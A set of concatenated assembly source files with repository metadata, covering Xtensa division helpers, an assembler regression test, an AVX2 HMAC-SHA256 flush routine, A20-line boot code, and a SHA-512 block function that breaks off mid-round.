.size __divsi3,.-__divsi3
#endif /* L_divsi3 */
#ifdef L_umodsi3
.align 4
.global __umodsi3
.type __umodsi3,@function
__umodsi3:
leaf_entry sp, 16
bltui a3, 2, .Lle_one # check if the divisor is <= 1
do_nsau a5, a2, a6, a7 # dividend_shift = nsau(dividend)
do_nsau a4, a3, a6, a7 # divisor_shift = nsau(divisor)
bgeu a5, a4, .Lspecial
sub a4, a4, a5 # count = divisor_shift - dividend_shift
ssl a4
sll a3, a3 # divisor <<= count
# test-subtract-and-shift loop
#if XCHAL_HAVE_LOOPS
loopnez a4, .Lloopend
#endif /* XCHAL_HAVE_LOOPS */
.Lloop:
bltu a2, a3, .Lzerobit
sub a2, a2, a3
.Lzerobit:
srli a3, a3, 1
#if !XCHAL_HAVE_LOOPS
addi a4, a4, -1
bnez a4, .Lloop
#endif /* !XCHAL_HAVE_LOOPS */
.Lloopend:
.Lspecial:
bltu a2, a3, .Lreturn
sub a2, a2, a3 # subtract once more if dividend >= divisor
.Lreturn:
leaf_return
.Lle_one:
# the divisor is either 0 or 1, so just return 0.
# someday we may want to throw an exception if the divisor is 0.
movi a2, 0
leaf_return
.size __umodsi3,.-__umodsi3
#endif /* L_umodsi3 */
#ifdef L_modsi3
.align 4
.global __modsi3
.type __modsi3,@function
__modsi3:
leaf_entry sp, 16
mov a7, a2 # save original (signed) dividend
do_abs a2, a2, a4 # udividend = abs(dividend)
do_abs a3, a3, a4 # udivisor = abs(divisor)
bltui a3, 2, .Lle_one # check if udivisor <= 1
do_nsau a5, a2, a6, a8 # udividend_shift = nsau(udividend)
do_nsau a4, a3, a6, a8 # udivisor_shift = nsau(udivisor)
bgeu a5, a4, .Lspecial
sub a4, a4, a5 # count = udivisor_shift - udividend_shift
ssl a4
sll a3, a3 # udivisor <<= count
# test-subtract-and-shift loop
#if XCHAL_HAVE_LOOPS
loopnez a4, .Lloopend
#endif /* XCHAL_HAVE_LOOPS */
.Lloop:
bltu a2, a3, .Lzerobit
sub a2, a2, a3
.Lzerobit:
srli a3, a3, 1
#if !XCHAL_HAVE_LOOPS
addi a4, a4, -1
bnez a4, .Lloop
#endif /* !XCHAL_HAVE_LOOPS */
.Lloopend:
.Lspecial:
bltu a2, a3, .Lreturn
sub a2, a2, a3 # subtract once more if udividend >= udivisor
.Lreturn:
bgez a7, .Lpositive
neg a2, a2 # if (dividend < 0), return -udividend
.Lpositive:
leaf_return
.Lle_one:
# udivisor is either 0 or 1, so just return 0.
# someday we may want to throw an exception if udivisor is 0.
movi a2, 0
leaf_return
.size __modsi3,.-__modsi3
#endif /* L_modsi3 */
#include "ieee754-df.S"
#include "ieee754-sf.S"
| avaitla/Haskell-to-C---Bridge | gccxml/GCC/gcc/config/xtensa/lib1funcs.asm | Assembly | bsd-3-clause | 14,982 |
; label as macro name (new in v1.13.1) triggers segfault with "--sym=..." option
LabelAsMacroName MACRO arg1?, arg2?
ld a,arg1?
ld hl,arg2?
ENDM
LabelAsMacroName 1,$1234
SomeRegularLabel: nop
| z00m128/sjasmplus | tests/listing/Issue57_segfault.asm | Assembly | bsd-3-clause | 286 |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright (c) 2015, Intel Corporation
;
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the
; distribution.
;
; * Neither the name of the Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
;
; THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION ""AS IS"" AND ANY
; EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "job_aes_hmac.asm"
%include "mb_mgr_datastruct.asm"
%include "reg_sizes.asm"
extern sha256_oct_avx2
%ifndef FUNC
%define FUNC flush_job_hmac_sha_256_avx2
%endif
%if 1
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define reg3 rdx
%else
%define arg1 rcx
%define arg2 rdx
%define reg3 rsi
%endif
%define state arg1
%define job arg2
%define len2 arg2
; idx needs to be in rbp, r15
%define idx rbp
%define unused_lanes r10
%define tmp5 r10
%define lane_data rbx
%define tmp2 rbx
%define job_rax rax
%define tmp1 rax
%define size_offset rax
%define start_offset rax
%define tmp3 arg1
%define extra_blocks arg2
%define p arg2
%define tmp4 reg3
%define tmp r9
%endif
; we clobber rsi, rbp; called routine also clobbers rbx, rdi, r12, r13, r14
struc STACK
_gpr_save: resq 7
_rsp_save: resq 1
endstruc
%define APPEND(a,b) a %+ b
; JOB* FUNC(MB_MGR_HMAC_SHA_256_OOO *state)
; arg 1 : state
global FUNC :function
FUNC:
mov rax, rsp
sub rsp, STACK_size
and rsp, -32
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
mov [rsp + _gpr_save + 8*3], r13
mov [rsp + _gpr_save + 8*4], r14
%ifndef LINUX
mov [rsp + _gpr_save + 8*5], rsi
mov [rsp + _gpr_save + 8*6], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
; if bit (32+3) is set, then all lanes are empty
mov unused_lanes, [state + _unused_lanes_sha256]
bt unused_lanes, 32+3
jc return_null
; find a lane with a non-null job
xor idx, idx
%assign I 1
%rep 7
cmp qword [state + _ldata_sha256 + (I * _HMAC_SHA1_LANE_DATA_size) + _job_in_lane], 0
cmovne idx, [APPEND(lane_,I) wrt rip]
%assign I (I+1)
%endrep
copy_lane_data:
; copy idx to empty lanes
vmovdqa xmm0, [state + _lens_sha256]
mov tmp, [state + _args_data_ptr_sha256 + 8*idx]
%assign I 0
%rep 8
cmp qword [state + _ldata_sha256 + I * _HMAC_SHA1_LANE_DATA_size + _job_in_lane], 0
jne APPEND(skip_,I)
mov [state + _args_data_ptr_sha256 + 8*I], tmp
vpor xmm0, xmm0, [len_masks + 16*I wrt rip]
APPEND(skip_,I):
%assign I (I+1)
%endrep
vmovdqa [state + _lens_sha256 ], xmm0
vphminposuw xmm1, xmm0
vpextrw DWORD(len2), xmm1, 0 ; min value
vpextrw DWORD(idx), xmm1, 1 ; min index (0...7)
cmp len2, 0
je len_is_0
vpbroadcastw xmm1, xmm1 ; duplicate words across all lanes
vpsubw xmm0, xmm0, xmm1
vmovdqa [state + _lens_sha256], xmm0
; "state" and "args" are the same address, arg1
; len is arg2
call sha256_oct_avx2
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _HMAC_SHA1_LANE_DATA_size
lea lane_data, [state + _ldata_sha256 + lane_data]
mov DWORD(extra_blocks), [lane_data + _extra_blocks]
cmp extra_blocks, 0
jne proc_extra_blocks
cmp dword [lane_data + _outer_done], 0
jne end_loop
proc_outer:
mov dword [lane_data + _outer_done], 1
mov DWORD(size_offset), [lane_data + _size_offset]
mov qword [lane_data + _extra_block + size_offset], 0
mov word [state + _lens_sha256 + 2*idx], 1
lea tmp, [lane_data + _outer_block]
mov job, [lane_data + _job_in_lane]
mov [state + _args_data_ptr_sha256 + 8*idx], tmp
vmovd xmm0, [state + _args_digest_sha256 + 4*idx + 0*SHA256_DIGEST_ROW_SIZE]
vpinsrd xmm0, xmm0, [state + _args_digest_sha256 + 4*idx + 1*SHA256_DIGEST_ROW_SIZE], 1
vpinsrd xmm0, xmm0, [state + _args_digest_sha256 + 4*idx + 2*SHA256_DIGEST_ROW_SIZE], 2
vpinsrd xmm0, xmm0, [state + _args_digest_sha256 + 4*idx + 3*SHA256_DIGEST_ROW_SIZE], 3
vpshufb xmm0, xmm0, [byteswap wrt rip]
vmovd xmm1, [state + _args_digest_sha256 + 4*idx + 4*SHA256_DIGEST_ROW_SIZE]
vpinsrd xmm1, xmm1, [state + _args_digest_sha256 + 4*idx + 5*SHA256_DIGEST_ROW_SIZE], 1
vpinsrd xmm1, xmm1, [state + _args_digest_sha256 + 4*idx + 6*SHA256_DIGEST_ROW_SIZE], 2
%ifndef SHA224
vpinsrd xmm1, xmm1, [state + _args_digest_sha256 + 4*idx + 7*SHA256_DIGEST_ROW_SIZE], 3
%endif
vpshufb xmm1, xmm1, [byteswap wrt rip]
vmovdqa [lane_data + _outer_block], xmm0
vmovdqa [lane_data + _outer_block + 4*4], xmm1
%ifdef SHA224
mov dword [lane_data + _outer_block + 7*4], 0x80
%endif
mov tmp, [job + _auth_key_xor_opad]
vmovdqu xmm0, [tmp]
vmovdqu xmm1, [tmp + 4*4]
vmovd [state + _args_digest_sha256 + 4*idx + 0*SHA256_DIGEST_ROW_SIZE], xmm0
vpextrd [state + _args_digest_sha256 + 4*idx + 1*SHA256_DIGEST_ROW_SIZE], xmm0, 1
vpextrd [state + _args_digest_sha256 + 4*idx + 2*SHA256_DIGEST_ROW_SIZE], xmm0, 2
vpextrd [state + _args_digest_sha256 + 4*idx + 3*SHA256_DIGEST_ROW_SIZE], xmm0, 3
vmovd [state + _args_digest_sha256 + 4*idx + 4*SHA256_DIGEST_ROW_SIZE], xmm1
vpextrd [state + _args_digest_sha256 + 4*idx + 5*SHA256_DIGEST_ROW_SIZE], xmm1, 1
vpextrd [state + _args_digest_sha256 + 4*idx + 6*SHA256_DIGEST_ROW_SIZE], xmm1, 2
vpextrd [state + _args_digest_sha256 + 4*idx + 7*SHA256_DIGEST_ROW_SIZE], xmm1, 3
jmp copy_lane_data
align 16
proc_extra_blocks:
mov DWORD(start_offset), [lane_data + _start_offset]
mov [state + _lens_sha256 + 2*idx], WORD(extra_blocks)
lea tmp, [lane_data + _extra_block + start_offset]
mov [state + _args_data_ptr_sha256 + 8*idx], tmp
mov dword [lane_data + _extra_blocks], 0
jmp copy_lane_data
return_null:
xor job_rax, job_rax
jmp return
align 16
end_loop:
mov job_rax, [lane_data + _job_in_lane]
mov qword [lane_data + _job_in_lane], 0
or dword [job_rax + _status], STS_COMPLETED_HMAC
mov unused_lanes, [state + _unused_lanes_sha256]
shl unused_lanes, 4
or unused_lanes, idx
mov [state + _unused_lanes_sha256], unused_lanes
mov p, [job_rax + _auth_tag_output]
; copy SHA224=14bytes and SHA256=16bytes
mov DWORD(tmp), [state + _args_digest_sha256 + 4*idx + 0*SHA256_DIGEST_ROW_SIZE]
mov DWORD(tmp2), [state + _args_digest_sha256 + 4*idx + 1*SHA256_DIGEST_ROW_SIZE]
mov DWORD(tmp4), [state + _args_digest_sha256 + 4*idx + 2*SHA256_DIGEST_ROW_SIZE]
mov DWORD(tmp5), [state + _args_digest_sha256 + 4*idx + 3*SHA256_DIGEST_ROW_SIZE]
bswap DWORD(tmp)
bswap DWORD(tmp2)
bswap DWORD(tmp4)
bswap DWORD(tmp5)
mov [p + 0*4], DWORD(tmp)
mov [p + 1*4], DWORD(tmp2)
mov [p + 2*4], DWORD(tmp4)
%ifdef SHA224
mov [p + 3*4], WORD(tmp5)
%else
mov [p + 3*4], DWORD(tmp5)
%endif
return:
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
mov r13, [rsp + _gpr_save + 8*3]
mov r14, [rsp + _gpr_save + 8*4]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*5]
mov rdi, [rsp + _gpr_save + 8*6]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
ret
section .data
align 16
byteswap: ddq 0x0c0d0e0f08090a0b0405060700010203
len_masks:
ddq 0x0000000000000000000000000000FFFF
ddq 0x000000000000000000000000FFFF0000
ddq 0x00000000000000000000FFFF00000000
ddq 0x0000000000000000FFFF000000000000
ddq 0x000000000000FFFF0000000000000000
ddq 0x00000000FFFF00000000000000000000
ddq 0x0000FFFF000000000000000000000000
ddq 0xFFFF0000000000000000000000000000
lane_1: dq 1
lane_2: dq 2
lane_3: dq 3
lane_4: dq 4
lane_5: dq 5
lane_6: dq 6
lane_7: dq 7
| lukego/intel-ipsec | code/avx2/mb_mgr_hmac_sha_256_flush_avx2.asm | Assembly | bsd-3-clause | 8,943 |
; credit: http://wiki.osdev.org/A20_Line
;
; return: 0 in AX if the a20 line is disabled (memory wraps around)
; 1 in AX if the a20 line is enabled (memory does not wrap around)
check_a20:
; {{{
pushf
push ds
push es
push di
push si
cli
xor ax, ax ; ax = 0
mov es, ax
not ax ; ax = 0xffff
mov ds, ax
mov di, 0x0500
mov si, 0x0510
mov al, byte [es:di]
push ax
mov al, byte [ds:si]
push ax
mov byte [es:di], 0x00
mov byte [ds:si], 0xff
cmp byte [es:di], 0Xff
pop ax
mov byte [ds:si], al
pop ax
mov byte [es:di], al
mov ax, 0
je .exit
mov ax, 1
.exit:
pop si
pop di
pop es
pop ds
popf
ret
; }}}
; credit: http://wiki.osdev.org/A20_Line
;
; _attempts_ to enable the a20 line using the keyboard controller
enable_a20_via_kbd:
; {{{
cli
call .wait
mov al,0xAD
out 0x64,al
call .wait
mov al,0xD0
out 0x64,al
call .wait2
in al,0x60
push eax
call .wait
mov al,0xD1
out 0x64,al
call .wait
pop eax
or al,2
out 0x60,al
call .wait
mov al,0xAE
out 0x64,al
call .wait
sti
ret
.wait:
in al,0x64
test al,2
jnz .wait
ret
.wait2:
in al,0x64
test al,1
jz .wait2
ret
; }}}
; attempts to enable the a20 line using three different methods
enable_a20_or_die:
; {{{
.1:
; try the BIOS
mov ax, 0x2401
int 0x15
; see if it worked
call check_a20
test ax, ax
jne .end
; it didn't, carry on
.2:
; try using the keyboard controller
call enable_a20_via_kbd
; see if it worked
call check_a20
test ax, ax
jne .end
; it didn't, carry on
.3:
; try the Fast A20 Gate
in al, 0x92
test al, 2
jne .end
or al, 2
and al, 0xfe
out 0x92, al
; check if it worked
call check_a20
test ax, ax
jne .end
; here, it seems it didn't work at all, which is a shame
error
.end:
ret
; }}}
; vi: ft=nasm:ts=2:sw=2 expandtab
| semahawk/figh | boot/a20.asm | Assembly | bsd-3-clause | 1,887 |
OPTION DOTNAME
.text$ SEGMENT ALIGN(64) 'CODE'
PUBLIC sha512_block_data_order
ALIGN 16
sha512_block_data_order PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_sha512_block_data_order::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r11,rsp
shl rdx,4
sub rsp,16*8+4*8
lea rdx,QWORD PTR[rdx*8+rsi]
and rsp,-64
mov QWORD PTR[((128+0))+rsp],rdi
mov QWORD PTR[((128+8))+rsp],rsi
mov QWORD PTR[((128+16))+rsp],rdx
mov QWORD PTR[((128+24))+rsp],r11
$L$prologue::
lea rbp,QWORD PTR[K512]
mov rax,QWORD PTR[rdi]
mov rbx,QWORD PTR[8+rdi]
mov rcx,QWORD PTR[16+rdi]
mov rdx,QWORD PTR[24+rdi]
mov r8,QWORD PTR[32+rdi]
mov r9,QWORD PTR[40+rdi]
mov r10,QWORD PTR[48+rdi]
mov r11,QWORD PTR[56+rdi]
jmp $L$loop
ALIGN 16
$L$loop::
xor rdi,rdi
mov r12,QWORD PTR[rsi]
mov r13,r8
mov r14,rax
bswap r12
ror r13,23
mov r15,r9
mov QWORD PTR[rsp],r12
ror r14,5
xor r13,r8
xor r15,r10
ror r13,4
add r12,r11
xor r14,rax
add r12,QWORD PTR[rdi*8+rbp]
and r15,r8
mov r11,rbx
ror r14,6
xor r13,r8
xor r15,r10
xor r11,rcx
xor r14,rax
add r12,r15
mov r15,rbx
ror r13,14
and r11,rax
and r15,rcx
ror r14,28
add r12,r13
add r11,r15
add rdx,r12
add r11,r12
lea rdi,QWORD PTR[1+rdi]
add r11,r14
mov r12,QWORD PTR[8+rsi]
mov r13,rdx
mov r14,r11
bswap r12
ror r13,23
mov r15,r8
mov QWORD PTR[8+rsp],r12
ror r14,5
xor r13,rdx
xor r15,r9
ror r13,4
add r12,r10
xor r14,r11
add r12,QWORD PTR[rdi*8+rbp]
and r15,rdx
mov r10,rax
ror r14,6
xor r13,rdx
xor r15,r9
xor r10,rbx
xor r14,r11
add r12,r15
mov r15,rax
ror r13,14
and r10,r11
and r15,rbx
ror r14,28
add r12,r13
add r10,r15
add rcx,r12
add r10,r12
lea rdi,QWORD PTR[1+rdi]
add r10,r14
mov r12,QWORD PTR[16+rsi]
mov r13,rcx
mov r14,r10
bswap r12
ror r13,23
mov r15,rdx
mov QWORD PTR[16+rsp],r12
ror r14,5
xor r13,rcx
xor r15,r8
ror r13,4
add r12,r9
xor r14,r10
add r12,QWORD PTR[rdi*8+rbp]
and r15,rcx
mov r9,r11
ror r14,6
xor r13,rcx
xor r15,r8
xor r9,rax
xor r14,r10
add r12,r15
mov r15,r11
ror r13,14
and r9,r10
and r15,rax
ror r14,28
add r12,r13
add r9,r15
add rbx,r12
add r9,r12
lea rdi,QWORD PTR[1+rdi]
add r9,r14
mov r12,QWORD PTR[24+rsi]
mov r13,rbx
mov r14,r9
bswap r12
ror r13,23
mov r15,rcx
mov QWORD PTR[24+rsp],r12
ror r14,5
xor r13,rbx
xor r15,rdx
ror r13,4
add r12,r8
xor r14,r9
add r12,QWORD PTR[rdi*8+rbp]
and r15,rbx
mov r8,r10
ror r14,6
xor r13,rbx
xor r15,rdx
xor r8,r11
xor r14,r9
add r12,r15
mov r15,r10
ror r13,14
and r8,r9
and r15,r11
ror r14,28
add r12,r13
add r8,r15
add rax,r12
add r8,r12
lea rdi,QWORD PTR[1+rdi]
add r8,r14
mov r12,QWORD PTR[32+rsi]
mov r13,rax
mov r14,r8
bswap r12
ror r13,23
mov r15,rbx
mov QWORD PTR[32+rsp],r12
ror r14,5
xor r13,rax
xor r15,rcx
ror r13,4
add r12,rdx
xor r14,r8
add r12,QWORD PTR[rdi*8+rbp]
and r15,rax
mov rdx,r9
ror r14,6
xor r13,rax
xor r15,rcx
xor rdx,r10
xor r14,r8
add r12,r15
mov r15,r9
ror r13,14
and rdx,r8
and r15,r10
ror r14,28
add r12,r13
add rdx,r15
add r11,r12
add rdx,r12
lea rdi,QWORD PTR[1+rdi]
add rdx,r14
mov r12,QWORD PTR[40+rsi]
mov r13,r11
mov r14,rdx
bswap r12
ror r13,23
mov r15,rax
mov QWORD PTR[40+rsp],r12
ror r14,5
xor r13,r11
xor r15,rbx
ror r13,4
add r12,rcx
xor r14,rdx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r11
mov rcx,r8
ror r14,6
xor r13,r11
xor r15,rbx
xor rcx,r9
xor r14,rdx
add r12,r15
mov r15,r8
ror r13,14
and rcx,rdx
and r15,r9
ror r14,28
add r12,r13
add rcx,r15
add r10,r12
add rcx,r12
lea rdi,QWORD PTR[1+rdi]
add rcx,r14
mov r12,QWORD PTR[48+rsi]
mov r13,r10
mov r14,rcx
bswap r12
ror r13,23
mov r15,r11
mov QWORD PTR[48+rsp],r12
ror r14,5
xor r13,r10
xor r15,rax
ror r13,4
add r12,rbx
xor r14,rcx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r10
mov rbx,rdx
ror r14,6
xor r13,r10
xor r15,rax
xor rbx,r8
xor r14,rcx
add r12,r15
mov r15,rdx
ror r13,14
and rbx,rcx
and r15,r8
ror r14,28
add r12,r13
add rbx,r15
add r9,r12
add rbx,r12
lea rdi,QWORD PTR[1+rdi]
add rbx,r14
mov r12,QWORD PTR[56+rsi]
mov r13,r9
mov r14,rbx
bswap r12
ror r13,23
mov r15,r10
mov QWORD PTR[56+rsp],r12
ror r14,5
xor r13,r9
xor r15,r11
ror r13,4
add r12,rax
xor r14,rbx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r9
mov rax,rcx
ror r14,6
xor r13,r9
xor r15,r11
xor rax,rdx
xor r14,rbx
add r12,r15
mov r15,rcx
ror r13,14
and rax,rbx
and r15,rdx
ror r14,28
add r12,r13
add rax,r15
add r8,r12
add rax,r12
lea rdi,QWORD PTR[1+rdi]
add rax,r14
mov r12,QWORD PTR[64+rsi]
mov r13,r8
mov r14,rax
bswap r12
ror r13,23
mov r15,r9
mov QWORD PTR[64+rsp],r12
ror r14,5
xor r13,r8
xor r15,r10
ror r13,4
add r12,r11
xor r14,rax
add r12,QWORD PTR[rdi*8+rbp]
and r15,r8
mov r11,rbx
ror r14,6
xor r13,r8
xor r15,r10
xor r11,rcx
xor r14,rax
add r12,r15
mov r15,rbx
ror r13,14
and r11,rax
and r15,rcx
ror r14,28
add r12,r13
add r11,r15
add rdx,r12
add r11,r12
lea rdi,QWORD PTR[1+rdi]
add r11,r14
mov r12,QWORD PTR[72+rsi]
mov r13,rdx
mov r14,r11
bswap r12
ror r13,23
mov r15,r8
mov QWORD PTR[72+rsp],r12
ror r14,5
xor r13,rdx
xor r15,r9
ror r13,4
add r12,r10
xor r14,r11
add r12,QWORD PTR[rdi*8+rbp]
and r15,rdx
mov r10,rax
ror r14,6
xor r13,rdx
xor r15,r9
xor r10,rbx
xor r14,r11
add r12,r15
mov r15,rax
ror r13,14
and r10,r11
and r15,rbx
ror r14,28
add r12,r13
add r10,r15
add rcx,r12
add r10,r12
lea rdi,QWORD PTR[1+rdi]
add r10,r14
mov r12,QWORD PTR[80+rsi]
mov r13,rcx
mov r14,r10
bswap r12
ror r13,23
mov r15,rdx
mov QWORD PTR[80+rsp],r12
ror r14,5
xor r13,rcx
xor r15,r8
ror r13,4
add r12,r9
xor r14,r10
add r12,QWORD PTR[rdi*8+rbp]
and r15,rcx
mov r9,r11
ror r14,6
xor r13,rcx
xor r15,r8
xor r9,rax
xor r14,r10
add r12,r15
mov r15,r11
ror r13,14
and r9,r10
and r15,rax
ror r14,28
add r12,r13
add r9,r15
add rbx,r12
add r9,r12
lea rdi,QWORD PTR[1+rdi]
add r9,r14
mov r12,QWORD PTR[88+rsi]
mov r13,rbx
mov r14,r9
bswap r12
ror r13,23
mov r15,rcx
mov QWORD PTR[88+rsp],r12
ror r14,5
xor r13,rbx
xor r15,rdx
ror r13,4
add r12,r8
xor r14,r9
add r12,QWORD PTR[rdi*8+rbp]
and r15,rbx
mov r8,r10
ror r14,6
xor r13,rbx
xor r15,rdx
xor r8,r11
xor r14,r9
add r12,r15
mov r15,r10
ror r13,14
and r8,r9
and r15,r11
ror r14,28
add r12,r13
add r8,r15
add rax,r12
add r8,r12
lea rdi,QWORD PTR[1+rdi]
add r8,r14
mov r12,QWORD PTR[96+rsi]
mov r13,rax
mov r14,r8
bswap r12
ror r13,23
mov r15,rbx
mov QWORD PTR[96+rsp],r12
ror r14,5
xor r13,rax
xor r15,rcx
ror r13,4
add r12,rdx
xor r14,r8
add r12,QWORD PTR[rdi*8+rbp]
and r15,rax
mov rdx,r9
ror r14,6
xor r13,rax
xor r15,rcx
xor rdx,r10
xor r14,r8
add r12,r15
mov r15,r9
ror r13,14
and rdx,r8
and r15,r10
ror r14,28
add r12,r13
add rdx,r15
add r11,r12
add rdx,r12
lea rdi,QWORD PTR[1+rdi]
add rdx,r14
mov r12,QWORD PTR[104+rsi]
mov r13,r11
mov r14,rdx
bswap r12
ror r13,23
mov r15,rax
mov QWORD PTR[104+rsp],r12
ror r14,5
xor r13,r11
xor r15,rbx
ror r13,4
add r12,rcx
xor r14,rdx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r11
mov rcx,r8
ror r14,6
xor r13,r11
xor r15,rbx
xor rcx,r9
xor r14,rdx
add r12,r15
mov r15,r8
ror r13,14
and rcx,rdx
and r15,r9
ror r14,28
add r12,r13
add rcx,r15
add r10,r12
add rcx,r12
lea rdi,QWORD PTR[1+rdi]
add rcx,r14
mov r12,QWORD PTR[112+rsi]
mov r13,r10
mov r14,rcx
bswap r12
ror r13,23
mov r15,r11
mov QWORD PTR[112+rsp],r12
ror r14,5
xor r13,r10
xor r15,rax
ror r13,4
add r12,rbx
xor r14,rcx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r10
mov rbx,rdx
ror r14,6
xor r13,r10
xor r15,rax
xor rbx,r8
xor r14,rcx
add r12,r15
mov r15,rdx
ror r13,14
and rbx,rcx
and r15,r8
ror r14,28
add r12,r13
add rbx,r15
add r9,r12
add rbx,r12
lea rdi,QWORD PTR[1+rdi]
add rbx,r14
mov r12,QWORD PTR[120+rsi]
mov r13,r9
mov r14,rbx
bswap r12
ror r13,23
mov r15,r10
mov QWORD PTR[120+rsp],r12
ror r14,5
xor r13,r9
xor r15,r11
ror r13,4
add r12,rax
xor r14,rbx
add r12,QWORD PTR[rdi*8+rbp]
and r15,r9
mov rax,rcx
ror r14,6
xor r13,r9
xor r15,r11
xor rax,rdx
xor r14,rbx
add r12,r15
mov r15,rcx
ror r13,14
and rax,rbx
and r15,rdx
ror r14,28
add r12,r13
add rax,r15
add r8,r12
add rax,r12
lea rdi,QWORD PTR[1+rdi]
add rax,r14
jmp $L$rounds_16_xx
ALIGN 16
$L$rounds_16_xx::
mov r13,QWORD PTR[8+rsp]
mov r14,QWORD PTR[112+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[72+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[rsp]
mov r13,r8
add r12,r14
mov r14,rax
ror r13,23
mov r15,r9
mov QWORD PTR[rsp],r12
ror r14,5
xor r13,r8
xor r15,r10
ror r13,4
add r12,r11
xor r14,rax
add r12,QWORD PTR[rdi*8+rbp]
and r15,r8
mov r11,rbx
ror r14,6
xor r13,r8
xor r15,r10
xor r11,rcx
xor r14,rax
add r12,r15
mov r15,rbx
ror r13,14
and r11,rax
and r15,rcx
ror r14,28
add r12,r13
add r11,r15
add rdx,r12
add r11,r12
lea rdi,QWORD PTR[1+rdi]
add r11,r14
mov r13,QWORD PTR[16+rsp]
mov r14,QWORD PTR[120+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[80+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[8+rsp]
mov r13,rdx
add r12,r14
mov r14,r11
ror r13,23
mov r15,r8
mov QWORD PTR[8+rsp],r12
ror r14,5
xor r13,rdx
xor r15,r9
ror r13,4
add r12,r10
xor r14,r11
add r12,QWORD PTR[rdi*8+rbp]
and r15,rdx
mov r10,rax
ror r14,6
xor r13,rdx
xor r15,r9
xor r10,rbx
xor r14,r11
add r12,r15
mov r15,rax
ror r13,14
and r10,r11
and r15,rbx
ror r14,28
add r12,r13
add r10,r15
add rcx,r12
add r10,r12
lea rdi,QWORD PTR[1+rdi]
add r10,r14
mov r13,QWORD PTR[24+rsp]
mov r14,QWORD PTR[rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[88+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[16+rsp]
mov r13,rcx
add r12,r14
mov r14,r10
ror r13,23
mov r15,rdx
mov QWORD PTR[16+rsp],r12
ror r14,5
xor r13,rcx
xor r15,r8
ror r13,4
add r12,r9
xor r14,r10
add r12,QWORD PTR[rdi*8+rbp]
and r15,rcx
mov r9,r11
ror r14,6
xor r13,rcx
xor r15,r8
xor r9,rax
xor r14,r10
add r12,r15
mov r15,r11
ror r13,14
and r9,r10
and r15,rax
ror r14,28
add r12,r13
add r9,r15
add rbx,r12
add r9,r12
lea rdi,QWORD PTR[1+rdi]
add r9,r14
mov r13,QWORD PTR[32+rsp]
mov r14,QWORD PTR[8+rsp]
mov r12,r13
mov r15,r14
ror r12,7
xor r12,r13
shr r13,7
ror r12,1
xor r13,r12
mov r12,QWORD PTR[96+rsp]
ror r15,42
xor r15,r14
shr r14,6
ror r15,19
add r12,r13
xor r14,r15
add r12,QWORD PTR[24+rsp]
mov r13,rbx
add r12,r14
mov r14,r9
ror r13,23
mov r15,rcx
mov QWORD PTR[24+rsp],r12
ror r14,5
xor r13,rbx
xor r15,rdx
ror r13,4
add r12,r8
xor r14,r9
add r12,QWORD PTR[rdi*8+rbp]
and r15,rbx
mov r8,r10
ror r14,6
xor r13,rbx
xor r15,rdx
xor r8,r11
xor r14,r9
add r12,r15
mov r15,r10
ror r13,14
and r8,r9
and r15,r11
ror r14,28
add r12,r13
add r8,r15
add rax,r12
add r8,r12
lea rdi,QWORD PTR[1+rdi]
add r8,r14
